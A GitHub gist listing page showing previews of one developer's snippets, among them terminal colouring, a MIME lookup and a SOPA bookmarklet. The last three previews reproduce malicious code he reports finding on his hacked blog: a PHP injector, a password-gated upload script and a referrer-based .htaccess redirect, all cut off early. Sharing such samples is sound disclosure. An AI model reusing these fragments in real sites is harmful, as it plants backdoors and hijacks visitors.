Skip to content

Instantly share code, notes, and snippets.

View evantahler's full-sized avatar
💭
Programmin'

Evan Tahler evantahler

💭
Programmin'
View GitHub Profile
@evantahler
evantahler / coloring_in_the_terminal
Created March 23, 2011 00:34
A note on how to color stuff in the shell
echo $'\033[31mChoose one of the following persons:\033[0m SOMETHNG ELSE'
def color(text, color_code)
color_enabled? ? "#{color_code}#{text}\e[0m" : text
end
def bold(text)
color(text, "\e[1m")
end
@evantahler
evantahler / gist:980212
Created May 19, 2011 04:54
Chrome console.log note
///////////////
// Chrome Console wackyness
// It seems that objects that can be rendered to "Strings" (strings and numbers) will render with console.log
// However, obects that are "interpreted" graphically will be shown in the state they are at the conclusion of runtime (or whatever their state is when being viewed).
// Example:
var TestObject = new Object;
TestObject.name = "name 1";
console.log(TestObject) // will show the name attribue as "name 2" when viewed in chrome
console.log(TestObject.name) // will show "name 1" as expected
@evantahler
evantahler / mime.js
Created December 25, 2011 03:13
mime type lookup for javascript
var determineMimeType = function(fileName){
var mimeTypes = {
'.3dm': 'x-world/x-3dmf'
,'.3dmf': 'x-world/x-3dmf'
,'.a': 'application/octet-stream'
,'.aab': 'application/x-authorware-bin'
,'.aam': 'application/x-authorware-map'
,'.aas': 'application/x-authorware-seg'
,'.abc': 'text/vnd.abc'
,'.acgi': 'text/html'
@evantahler
evantahler / gist:1574158
Last active June 3, 2016 22:28
Build Node on Phidget (ARMv4tl + emdebian)
@evantahler
evantahler / sopa.js
Created January 14, 2012 21:41
SOPA blackout for ModCloth
// I am a script which can be used to modify the DOM of modcloth.com in support of SPOA, by blacking out a portion of the site and explaining the message.
// I should be used as follows:
// javascript:(function () {
// var newScript = document.createElement('script');
// newScript.type = 'text/javascript';
// newScript.src = 'https://raw.github.com/gist/1612996/sopa.js';
// document.getElementsByTagName('body')[0].appendChild(newScript);
// })();
if(typeof modcloth == "undefined"){modcloth = {};}
@evantahler
evantahler / gist:1689444
Created January 27, 2012 15:57
Github resque error on push
[07:56:11] evantahler@TheYellowDart [~/Desktop/actionHero] (master)
> git push
Counting objects: 5, done.
Delta compression using up to 8 threads.
Compressing objects: 100% (3/3), done.
Writing objects: 100% (3/3), 282 bytes, done.
Total 3 (delta 2), reused 0 (delta 0)
remote: /data/github/current/lib/github/config/resque.rb:27: undefined method `constantize' for "GitHub::Jobs::WikiReceive":String (NoMethodError)
remote: from /data/github/current/lib/github/config/resque.rb:26:in `each'
remote: from /data/github/current/lib/github/config/resque.rb:26
@evantahler
evantahler / gist:1786525
Created February 10, 2012 04:11
initMySQL from old actionHero
////////////////////////////////////////////////////////////////////////////
// DB setup
//
// You can add DB specific by adding your task to the api.taks object
// Your DB init function should be called init and be exported. init = function(api, next)
// Name your DB init file the same thing you want folks to use in api.configData.database.type
var init = function(api, next){
api.mysql = require('mysql');
api.SequelizeBase = require("sequelize");
@evantahler
evantahler / gist:1891398
Created February 23, 2012 07:53
The malicious code on my blog
if(function_exists('ob_start')&&!isset($_SERVER['mr_no']))
{
$_SERVER['mr_no']=1;
if(!function_exists('mrobh'))
{
/************************************************************\
*
\************************************************************/
function get_tds_777($url)
{
@evantahler
evantahler / gist:1895530
Created February 23, 2012 22:48
Bad Upload Script from blog hack
error_reporting(E_ERROR | E_WARNING | E_PARSE);
ini_set('display_errors', "0");
if ($_POST["p"] != "") {
$_COOKIE["p"] = $_POST["p"];
setcookie("p", $_POST["p"], time() + 3600);
}
if (md5($_COOKIE["p"]) != "ca3f717a5e53f4ce47b9062cfbfb2458") {
echo "<form method=post>";
@evantahler
evantahler / gist:1895629
Created February 23, 2012 23:13
Crazy hacker .htaccess file that attacked my blog
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.*(google|ask|yahoo|baidu|youtube|wikipedia|qq|excite|altavista|msn|netscape|aol|hotbot|goto|infoseek|mamma|alltheweb|lycos|search|metacrawler|bing|dogpile|facebook|twitter|blog|live|myspace|mail|yandex|rambler|ya|aport|linkedin|flickr|nigma|liveinternet|vkontakte|webalta|filesearch|yell|openstat|metabot|nol9|zoneru|km|gigablast|entireweb|amfibi|dmoz|yippy|search|walhello|webcrawler|jayde|findwhat|teoma|euroseek|wisenut|about|thunderstone|ixquick|terra|lookle|metaeureka|searchspot|slider|topseven|allthesites|libero|clickey|galaxy|brainysearch|pocketflier|verygoodsearch|bellnet|freenet|fireball|flemiro|suchbot|acoon|cyber-content|devaro|fastbot|netzindex|abacho|allesklar|suchnase|schnellsuche|sharelook|sucharchiv|suchbiene|suchmaschi